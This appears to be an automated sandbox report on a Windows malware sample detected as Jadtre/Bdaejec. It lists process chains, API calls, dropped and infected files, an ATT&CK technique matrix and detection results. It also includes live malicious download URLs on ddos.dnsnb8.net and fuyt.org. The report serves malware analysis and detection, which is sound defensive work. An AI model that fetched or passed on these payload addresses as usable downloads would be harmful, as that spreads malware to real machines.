Code function: 7_2_00419F90 GetCurrentProcess,GetLastError,GetLastError,SetPriorityClass,GetLastError,GetModuleFileNameW,PathRemoveFileSpecW,GetCommandLineW,CommandLineToArgvW,lstrcpyW,lstrcmpW,lstrcmpW,lstrcpyW,lstrcpyW,lstrcmpW,lstrcmpW,GlobalFree,lstrcpyW,lstrcpyW,OpenProcess,WaitForSingleObject,CloseHandle,Sleep,GlobalFree,GetCurrentProcess,GetExitCodeProcess,TerminateProcess,CloseHandle,lstrcatW,GetVersion,lstrcpyW,lstrcatW,lstrcatW,_memset,ShellExecuteExW,CreateThread,lstrlenA,lstrcatW,_malloc,lstrcatW,_memset,lstrcatW,MultiByteToWideChar,lstrcatW,lstrlenW,CreateThread,WaitForSingleObject,CreateMutexA,CreateMutexA,lstrlenA,lstrcpyA,_memmove,_memmove,_memmove,GetUserNameW,GetMessageW,GetMessageW,DispatchMessageW,TranslateMessage,TranslateMessage,DispatchMessageW,GetMessageW,PostThreadMessageW,PeekMessageW,PostThreadMessageW,PeekMessageW,DispatchMessageW,PeekMessageW,WaitForSingleObject,PostThreadMessageW,PeekMessageW,DispatchMessageW,PeekMessageW,WaitForSingleObject,CloseHandle,

7_2_00419F90

Source: C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	Process created: C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe "C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe"	Jump to behavior
Source: C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	Process created: C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe "C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe" --Admin IsNotAutoStart IsNotTask	Jump to behavior
Source: C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	Process created: C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe "C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe" --Admin IsNotAutoStart IsNotTask	Jump to behavior
Source: C:\Users\user\AppData\Local\62577a15-c956-4abd-810b-2eb1508a8c01\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	Process created: C:\Users\user\AppData\Local\62577a15-c956-4abd-810b-2eb1508a8c01\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe C:\Users\user\AppData\Local\62577a15-c956-4abd-810b-2eb1508a8c01\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe --Task	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\OmbNjE.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Local\Temp\0a4e793f.bat" "
Source: C:\Users\user\AppData\Local\62577a15-c956-4abd-810b-2eb1508a8c01\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	Process created: C:\Users\user\AppData\Local\62577a15-c956-4abd-810b-2eb1508a8c01\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe "C:\Users\user\AppData\Local\62577a15-c956-4abd-810b-2eb1508a8c01\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe" --AutoStart
Source: C:\Users\user\AppData\Local\Temp\OmbNjE.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Local\Temp\51eb5671.bat" "
Source: C:\Users\user\AppData\Local\62577a15-c956-4abd-810b-2eb1508a8c01\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	Process created: C:\Users\user\AppData\Local\62577a15-c956-4abd-810b-2eb1508a8c01\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe "C:\Users\user\AppData\Local\62577a15-c956-4abd-810b-2eb1508a8c01\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe" --AutoStart
Source: C:\Users\user\AppData\Local\Temp\OmbNjE.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Local\Temp\13433410.bat" "

Source: C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe

Code function: 0_2_023280F6 cpuid

0_2_023280F6

Source: C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	Code function: GetLocaleInfoA,	0_2_0040D348
Source: C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	Code function: _LocaleUpdate::_LocaleUpdate,__crtGetLocaleInfoA_stat,	0_2_02340AB6
Source: C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	Code function: ___crtGetLocaleInfoA,___crtGetLocaleInfoA,__calloc_crt,___crtGetLocaleInfoA,__calloc_crt,_free,_free,__calloc_crt,_free,__invoke_watson,	0_2_0232C8B7
Source: C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	Code function: __calloc_crt,__malloc_crt,_free,__malloc_crt,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___free_lconv_num,_free,_free,_free,_free,	0_2_0233394D
Source: C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	Code function: ___getlocaleinfo,__malloc_crt,__calloc_crt,__calloc_crt,__calloc_crt,__calloc_crt,___crtLCMapStringA,___crtLCMapStringA,___crtGetStringTypeA,_free,_free,_free,_free,_free,_free,_free,_free,_free,	0_2_023349EA
Source: C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	Code function: ___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,	0_2_02333F87
Source: C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	Code function: ___getlocaleinfo,__malloc_crt,__calloc_crt,__calloc_crt,__calloc_crt,__calloc_crt,GetCPInfo,___crtLCMapStringA,___crtLCMapStringA,___crtGetStringTypeA,_free,_free,_free,_free,_free,_free,_free,_free,_free,	7_2_0043404A
Source: C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	Code function: _LcidFromHexString,GetLocaleInfoW,_TestDefaultLanguage,	7_2_00438178
Source: C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	Code function: _LocaleUpdate::_LocaleUpdate,__crtGetLocaleInfoA_stat,	7_2_00440116
Source: C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetACP,	7_2_004382A2
Source: C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	Code function: GetLocaleInfoW,_GetPrimaryLen,	7_2_0043834F
Source: C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	Code function: _memset,_TranslateName,_GetLcidFromLangCountry,_GetLcidFromLanguage,_TranslateName,_GetLcidFromLangCountry,_GetLcidFromLanguage,_GetLcidFromCountry,GetUserDefaultLCID,IsValidCodePage,IsValidLocale,___crtDownlevelLCIDToLocaleName,___crtDownlevelLCIDToLocaleName,GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,__itow_s,	7_2_00438423
Source: C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	Code function: EnumSystemLocalesW,	7_2_004387C8
Source: C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	Code function: GetLocaleInfoW,	7_2_0043884E
Source: C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	Code function: __calloc_crt,__malloc_crt,_free,__malloc_crt,_free,_free,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___free_lconv_mon,_free,_free,_free,_free,_free,	7_2_00432B6D
Source: C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	Code function: __calloc_crt,__malloc_crt,_free,__malloc_crt,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___free_lconv_num,_free,_free,_free,_free,	7_2_00432FAD
Source: C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	Code function: ___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,	7_2_004335E7
Source: C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	Code function: _TranslateName,_GetLocaleNameFromLangCountry,_GetLocaleNameFromLanguage,_TranslateName,_GetLocaleNameFromLangCountry,_GetLocaleNameFromLanguage,_GetLocaleNameFromDefault,IsValidCodePage,_wcschr,_wcschr,__itow_s,_LcidFromHexString,GetLocaleInfoW,	7_2_00437BB3
Source: C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	Code function: EnumSystemLocalesW,	7_2_00437E27
Source: C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	Code function: _GetPrimaryLen,EnumSystemLocalesW,	7_2_00437E83
Source: C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	Code function: _GetPrimaryLen,EnumSystemLocalesW,	7_2_00437F00
Source: C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	Code function: ___crtGetLocaleInfoA,GetLastError,___crtGetLocaleInfoA,__calloc_crt,___crtGetLocaleInfoA,__calloc_crt,_free,_free,__calloc_crt,_free,	7_2_0042BF17
Source: C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	Code function: _LcidFromHexString,GetLocaleInfoW,GetLocaleInfoW,__wcsnicmp,GetLocaleInfoW,_TestDefaultLanguage,	7_2_00437F83
Source: C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	Code function: _LocaleUpdate::_LocaleUpdate,__crtGetLocaleInfoA_stat,	9_2_02300AB6
Source: C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	Code function: ___crtGetLocaleInfoA,___crtGetLocaleInfoA,__calloc_crt,___crtGetLocaleInfoA,__calloc_crt,_free,_free,__calloc_crt,_free,__invoke_watson,	9_2_022EC8B7
Source: C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	Code function: __calloc_crt,__malloc_crt,_free,__malloc_crt,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___free_lconv_num,_free,_free,_free,_free,	9_2_022F394D
Source: C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	Code function: ___getlocaleinfo,__malloc_crt,__calloc_crt,__calloc_crt,__calloc_crt,__calloc_crt,___crtLCMapStringA,___crtLCMapStringA,___crtGetStringTypeA,_free,_free,_free,_free,_free,_free,_free,_free,_free,	9_2_022F49EA
Source: C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	Code function: ___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,	9_2_022F3F87
Source: C:\Users\user\AppData\Local\62577a15-c956-4abd-810b-2eb1508a8c01\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	Code function: _LocaleUpdate::_LocaleUpdate,__crtGetLocaleInfoA_stat,	10_2_022C0AB6
Source: C:\Users\user\AppData\Local\62577a15-c956-4abd-810b-2eb1508a8c01\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	Code function: ___crtGetLocaleInfoA,___crtGetLocaleInfoA,__calloc_crt,___crtGetLocaleInfoA,__calloc_crt,_free,_free,__calloc_crt,_free,__invoke_watson,	10_2_022AC8B7
Source: C:\Users\user\AppData\Local\62577a15-c956-4abd-810b-2eb1508a8c01\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	Code function: __calloc_crt,__malloc_crt,_free,__malloc_crt,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___free_lconv_num,_free,_free,_free,_free,	10_2_022B394D
Source: C:\Users\user\AppData\Local\62577a15-c956-4abd-810b-2eb1508a8c01\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	Code function: ___getlocaleinfo,__malloc_crt,__calloc_crt,__calloc_crt,__calloc_crt,__calloc_crt,___crtLCMapStringA,___crtLCMapStringA,___crtGetStringTypeA,_free,_free,_free,_free,_free,_free,_free,_free,_free,	10_2_022B49EA
Source: C:\Users\user\AppData\Local\62577a15-c956-4abd-810b-2eb1508a8c01\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	Code function: ___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,	10_2_022B3F87

Source: C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe

Code function: 0_2_0040978E GetSystemTimeAsFileTime,GetCurrentProcessId,GetCurrentThreadId,GetTickCount,QueryPerformanceCounter,

0_2_0040978E

Source: C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe

7_2_00419F90

Source: C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe

Code function: 7_2_0042FE47 __lock,____lc_codepage_func,__getenv_helper_nolock,_free,_strlen,__malloc_crt,_strlen,_free,GetTimeZoneInformation,WideCharToMultiByte,WideCharToMultiByte,

7_2_0042FE47

Source: C:\Users\user\AppData\Local\Temp\OmbNjE.exe

Code function: 1_2_00F9139F GetVersionExA,LookupPrivilegeValueA,GetCurrentProcessId,

1_2_00F9139F

Source: C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Source: OmbNjE.exe, 00000001.00000003.2110497969.000000000068E000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: \??\C:\Program Files\Windows Defender\MsMpEng.exe

Stealing of Sensitive Information

Yara detected Bdaejec

Source: Yara match	File source: Process Memory Space: OmbNjE.exe PID: 3664, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: OmbNjE.exe PID: 736, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: OmbNjE.exe PID: 4460, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: OmbNjE.exe PID: 1484, type: MEMORYSTR

Remote Access Functionality

Yara detected Bdaejec

Source: Yara match	File source: Process Memory Space: OmbNjE.exe PID: 3664, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: OmbNjE.exe PID: 736, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: OmbNjE.exe PID: 4460, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: OmbNjE.exe PID: 1484, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	1 Scripting	Valid Accounts	3 Native API	1 Scripting	1 Exploitation for Privilege Escalation	1 Deobfuscate/Decode Files or Information	OS Credential Dumping	12 System Time Discovery	1 Taint Shared Content	11 Archive Collected Data	2 Ingress Tool Transfer	Exfiltration Over Other Network Medium	2 Data Encrypted for Impact
Credentials	Domains	Default Accounts	1 Shared Modules	1 DLL Side-Loading	1 DLL Side-Loading	3 Obfuscated Files or Information	LSASS Memory	1 Account Discovery	Remote Desktop Protocol	1 Screen Capture	21 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	3 Command and Scripting Interpreter	1 Registry Run Keys / Startup Folder	1 Access Token Manipulation	22 Software Packing	Security Account Manager	4 File and Directory Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	11 Non-Standard Port	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	1 Services File Permissions Weakness	311 Process Injection	1 DLL Side-Loading	NTDS	24 System Information Discovery	Distributed Component Object Model	Input Capture	2 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	1 Registry Run Keys / Startup Folder	1 Masquerading	LSA Secrets	1 Query Registry	SSH	Keylogging	113 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	1 Services File Permissions Weakness	21 Virtualization/Sandbox Evasion	Cached Domain Credentials	51 Security Software Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	1 Access Token Manipulation	DCSync	21 Virtualization/Sandbox Evasion	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	311 Process Injection	Proc Filesystem	2 Process Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	1 Services File Permissions Weakness	/etc/passwd and /etc/shadow	1 System Owner/User Discovery	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement
IP Addresses	Compromise Infrastructure	Supply Chain Compromise	PowerShell	Cron	Cron	Dynamic API Resolution	Network Sniffing	1 System Network Configuration Discovery	Shared Webroot	Local Data Staging	File Transfer Protocols	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	External Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	100%	Avira	W32/Jadtre.B
F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label
C:\Users\user\AppData\Local\Temp\OmbNjE.exe	100%	Avira	TR/Dldr.Small.Z.haljq
C:\Program Files (x86)\AutoIt3\SciTE\SciTE.exe	100%	Avira	W32/Jadtre.B
C:\Users\user\AppData\Local\Temp\tmpF2C2.tmp	100%	Avira	W32/Jadtre.D
C:\Users\user\AppData\Local\62577a15-c956-4abd-810b-2eb1508a8c01\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	100%	Avira	W32/Jadtre.B
C:\Program Files\7-Zip\Uninstall.exe	100%	Avira	W32/Jadtre.B
C:\Program Files (x86)\AutoIt3\Examples\Helpfile\Extras\MyProg.exe	100%	Avira	W32/Jadtre.B
C:\Users\user\AppData\Local\Temp\OmbNjE.exe	100%	Joe Sandbox ML
C:\Program Files (x86)\AutoIt3\SciTE\SciTE.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\62577a15-c956-4abd-810b-2eb1508a8c01\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	100%	Joe Sandbox ML
C:\Program Files\7-Zip\Uninstall.exe	100%	Joe Sandbox ML
C:\Program Files (x86)\AutoIt3\Examples\Helpfile\Extras\MyProg.exe	100%	Joe Sandbox ML

Unpacked PE Files

⊘No Antivirus matches

Domains

⊘No Antivirus matches

URLs

Source	Detection	Scanner	Label
http://ddos.dnsnb8.net:799/cj//k2.rar	100%	URL Reputation	malware
http://www.openssl.org/support/faq.html	0%	URL Reputation	safe
http://ddos.dnsnb8.net:799/cj//k1.rar	100%	URL Reputation	malware
http://ddos.dnsnb8.net/	100%	URL Reputation	malware
http://www.youtube.com/	0%	URL Reputation	safe
http://fuyt.org/fhsgtsspen6/get.php?pid=63423FF445583FE5A9A41B7CFEC3D9C4	0%	Avira URL Cloud	safe
https://api.2ip.ua/geo.json-	0%	Avira URL Cloud	safe
http://ddos.dnsnb8.net:799/cj//k2.rar%	100%	Avira URL Cloud	malware
